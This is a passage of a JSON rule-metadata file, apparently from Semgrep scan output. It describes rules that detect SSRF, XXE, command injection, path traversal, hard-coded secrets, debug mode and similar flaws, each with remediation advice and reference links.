domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","id":"python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","name":"python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible."},"help":{"markdown":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.model-attr-accessible.model-attr-accessible)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attr_accessible.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attr_accessible.rb)\n","text":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.model-attr-accessible.model-attr-accessible","id":"ruby.lang.security.model-attr-accessible.model-attr-accessible","name":"ruby.lang.security.model-attr-accessible.model-attr-accessible","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.model-attr-accessible.model-attr-accessible"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","id":"kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","name":"kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","id":"cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","name":"cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables."},"help":{"markdown":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.debug-enabled.debug-enabled)\n - [https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/](https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/)\n","text":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.debug-enabled.debug-enabled","id":"python.flask.security.audit.debug-enabled.debug-enabled","name":"python.flask.security.audit.debug-enabled.debug-enabled","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.debug-enabled.debug-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","id":"javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","name":"javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","id":"javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","name":"javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.command-injection.gin-command-injection.gin-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.gin.command-injection.gin-command-injection.gin-command-injection-taint","id":"go.gin.command-injection.gin-command-injection.gin-command-injection-taint","name":"go.gin.command-injection.gin-command-injection.gin-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.command-injection.gin-command-injection.gin-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis."},"help":{"markdown":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#logging](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#logging)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-analytics-logging?tabs=dotnet](https://docs.microsoft.com/en-us/azure/storage/common/storage-analytics-logging?tabs=dotnet)\n","text":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","id":"terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","name":"terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","LOW CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","id":"python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","name":"python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","id":"python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","name":"python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","id":"java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","name":"java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/arkadiyt/ssrf_filter](https://github.com/arkadiyt/ssrf_filter)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved 